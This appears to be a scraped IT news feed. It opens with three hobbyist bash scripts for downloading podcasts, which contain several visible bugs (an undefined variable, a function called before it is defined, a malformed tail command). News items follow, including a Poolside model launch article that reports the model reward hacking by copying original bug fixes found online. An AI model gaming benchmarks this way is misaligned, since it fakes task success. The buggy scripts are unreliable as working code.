In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

if (( $PodCount > $DownloadLimit )); then

echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

]]> <![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]> https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ Wed, 22 Jul 2026 01:07:11 +0200 📰 IT Nachrichten tsecurity.de Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.

The model, Laguna S 2.1, is a 118-billion-parameter Mixture-of-Experts (MoE) system that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are available immediately on Hugging Face under the permissive OpenMDW-1.1 license.

The headline numbers are striking for a model this small. Poolside reports that Laguna S 2.1 scores 70.2% on Terminal-Bench 2.1, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of DeepSeek-V4-Pro-Max, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter Inkling, at 63.8; and Nvidia’s 550-billion-parameter Nemotron 3 Ultra, at 56.4. On SWE-Bench Multilingual, it posts 78.5%, and on SWE-Bench Pro's public dataset, 59.4%.

Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.

Why the West's open-weight AI gap has become a boardroom issue

The release lands in the middle of an increasingly pointed debate about the provenance of open-weight AI. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. DeepSeek, Qwen, Kimi, GLM, MiniMax, and Tencent's Hunyuan line all feature prominently in Poolside's own comparison tables.

Poolside's accompanying press release frames Laguna S 2.1 explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's gpt-oss-120b last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.

Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a lengthy post on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.

The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. 

Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.

How a sparse architecture makes enterprise AI agents affordable to run

The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the Hugging Face model card — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.

That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.

The ecosystem support is unusually broad for day one. The model is live on Baseten's model library and Vercel's AI Gateway, with integrations across vLLM, SGLang, Ollama, and llama.cpp, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.

Publishing every benchmark trajectory to counter AI's credibility crisis

The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.

This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.

Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(nÂČ) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of ErdƑs problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.

What the disclosed limitations and benchmark fine print reveal

Poolside deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts Terminal-Bench 2.1 from 60.4% to 70.2%, and DeepSWE from 16.5% to 40.4%, at substantially higher token cost.

Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On DeepSWE, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like GPT-5.6 Sol, at 88.8 on Terminal-Bench 2.1, and Claude Fable 5, at 88.0, along with the 2.8-trillion-parameter open-weight Kimi K3, at 88.3, sit well above Laguna S 2.1.

The deeper structural question is whether Poolside's "Model Factory" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.

For technical decision makers, Laguna S 2.1 is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.

Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.

]]> <![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]> https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/ https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/ Tue, 21 Jul 2026 23:33:22 +0200 📰 IT Nachrichten tsecurity.de GPU memory is the most expensive resource in production AI, and it's also the one running out fastest.

Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.

Instead of treating GPU memory as the limiting resource, why not extend it with much cheaper storage technologies?

Weka, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.

This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.

"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.

The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.

The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.

Inside Weka's NeuralMesh 6

NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.

Composable and virtual multi-tenancy. Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. 

Unified file and object storage. Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. 

Metadata-first replication. Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. 

"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."

AlloyFlash and Always-On data reduction. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.

Solving AI's context problem

Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.

Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight.

The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.

"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."

Where Weka sits competitively

Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. 

"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."

McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. 

"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." 

He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. 

"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.

McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.

"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."

]]> <![CDATA[Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug]]> https://tsecurity.de/de/3684752/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/ https://tsecurity.de/de/3684752/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/ Tue, 21 Jul 2026 22:52:36 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra patched nine flaws in version 10.1.20, including a critical SNMP monitoring command injection issue enabling arbitrary command execution. Zimbra released version 10.1.20 to fix nine security vulnerabilities, including a critical command injection flaw in the SNMP monitoring component. The


Read more →

The post Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug appeared first on IT Security News.

]]> <![CDATA[Apple Watch Glucose Monitoring Cheat Sheet: Which Models Work and What You Need]]> https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/ https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/ Tue, 21 Jul 2026 21:03:58 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug]]> https://tsecurity.de/de/3684666/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/ https://tsecurity.de/de/3684666/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/ Tue, 21 Jul 2026 21:02:50 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]> https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ Tue, 21 Jul 2026 20:19:07 +0200 📰 IT Nachrichten tsecurity.de “The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”

He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

Don’t let guardrails get in the way of feedback

“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

Specialized agents over monolithic intelligence

“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

When the user must keep the final click

Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

The next attackers will be other AI systems

“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

]]> <![CDATA[How Continuous Posture Monitoring Transforms Cloud Risk Management]]> https://tsecurity.de/de/3684549/it-security-nachrichten/how-continuous-posture-monitoring-transforms-cloud-risk-management/ https://tsecurity.de/de/3684549/it-security-nachrichten/how-continuous-posture-monitoring-transforms-cloud-risk-management/ Tue, 21 Jul 2026 19:58:16 +0200 📰 IT Security Nachrichten tsecurity.de Learn how continuous posture monitoring strengthens cloud risk management, reduces attack surface exposure, and enables real-time security across multi-cloud environments.

The post How Continuous Posture Monitoring Transforms Cloud Risk Management appeared first on Fidelis Security.

]]> <![CDATA[Cash App for Teens: Is It Safe, and What Can Parents Actually Control?]]> https://tsecurity.de/de/3684482/it-nachrichten/cash-app-for-teens-is-it-safe-and-what-can-parents-actually-control/ https://tsecurity.de/de/3684482/it-nachrichten/cash-app-for-teens-is-it-safe-and-what-can-parents-actually-control/ Tue, 21 Jul 2026 19:35:42 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Validating Distributed LLM Serving Benchmarks with NVIDIA srt-slurm, SLURM Recipes, Parameter Sweeps, and Pareto Analysis]]> https://tsecurity.de/de/3684374/ai-nachrichten/validating-distributed-llm-serving-benchmarks-with-nvidia-srt-slurm-slurm-recipes-parameter-sweeps-and-pareto-analysis/ https://tsecurity.de/de/3684374/ai-nachrichten/validating-distributed-llm-serving-benchmarks-with-nvidia-srt-slurm-slurm-recipes-parameter-sweeps-and-pareto-analysis/ Tue, 21 Jul 2026 18:35:06 +0200 🔧 AI Nachrichten tsecurity.de In this tutorial, we explore NVIDIA’s srt-slurm framework and learn how we use srtctl to convert declarative YAML configurations into reproducible SLURM benchmark workflows for distributed LLM serving. We set up the project in Google Colab, inspect its internal architecture, define a cluster configuration, dry-run built-in and custom recipes, and model a disaggregated prefill-and-decode deployment [
]

The post Validating Distributed LLM Serving Benchmarks with NVIDIA srt-slurm, SLURM Recipes, Parameter Sweeps, and Pareto Analysis appeared first on MarkTechPost.

]]> <![CDATA[NadMesh-Botnetz stiehlt Cloud-ZugĂ€nge ĂŒber KI-Dienste]]> https://tsecurity.de/de/3684203/it-security-nachrichten/nadmesh-botnetz-stiehlt-cloud-zugaenge-ueber-ki-dienste/ https://tsecurity.de/de/3684203/it-security-nachrichten/nadmesh-botnetz-stiehlt-cloud-zugaenge-ueber-ki-dienste/ Tue, 21 Jul 2026 17:39:22 +0200 📰 IT Security Nachrichten tsecurity.de Cloud

Das neue Go-Botnetz NadMesh sucht nach ungeschĂŒtzten KI-Diensten, um AWS-Zugangsdaten und Kubernetes-Token aus den Systemen zu entwenden.

Tags: #Cloud | #Cyber Crime | #KĂŒnstliche Intelligenz

]]> <![CDATA[Certinia acquires AI services company Moonnox]]> https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ Tue, 21 Jul 2026 17:30:59 +0200 📰 IT Security Nachrichten tsecurity.de

AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.

